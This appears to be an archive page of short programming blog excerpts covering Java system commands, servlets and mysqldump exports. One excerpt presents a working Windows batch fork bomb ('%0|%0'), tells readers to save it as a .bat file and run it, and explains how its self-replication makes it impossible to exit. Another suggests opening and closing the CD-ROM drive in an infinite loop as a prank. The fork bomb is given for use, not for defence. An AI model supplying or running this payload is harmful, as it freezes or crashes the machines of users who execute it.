Archives for Programming
16 Sep by fetch1 in Programming
Running system command through Java
Running system commands through Java
Try the below code (for Linux OS) & you'll get the listing of files & folders from current directory
If you want to open & close CD rom infinitely,
Just replace 'ls' command with the cd ROM opening cmd
Also for CD ROM closing .... Enclose them in infinite ...more»
15 Sep by fetch1 in Programming
why servlets are server Extensions ?
It is because you write your own code to handle the HTTP request and send response accordingly, which server makes use of as per the need.
It is because with the help of servlet you can extend the capability of server. Not just Http capability but with your own implementation you ...more»
15 Sep by fetch1 in Programming
How to store sql query result into excel file?
if reports are to be exported then, API Apache POI will work out else you can also do the same thing with the query for backup and dumps
for example
if you are using mysql
you can use
1.) mysqldump --tab=/path/to/some/dir --opt database_name
2.) mysqldump --add-drop-table -u admin -p pass21 Customers < custback.sql ...more»
World’s Most smallest Batch Virus
This is the smallest batch virus only of 5 letters in length
%0|%0
save this as bat file n run it
you cannot successfully exit this program....
Explanation
%0 gives the location of bat file which is running it including the filename
this program will create two instance of itself and each instance will again creates ...more»


No Comment
Tags: Running system command through Java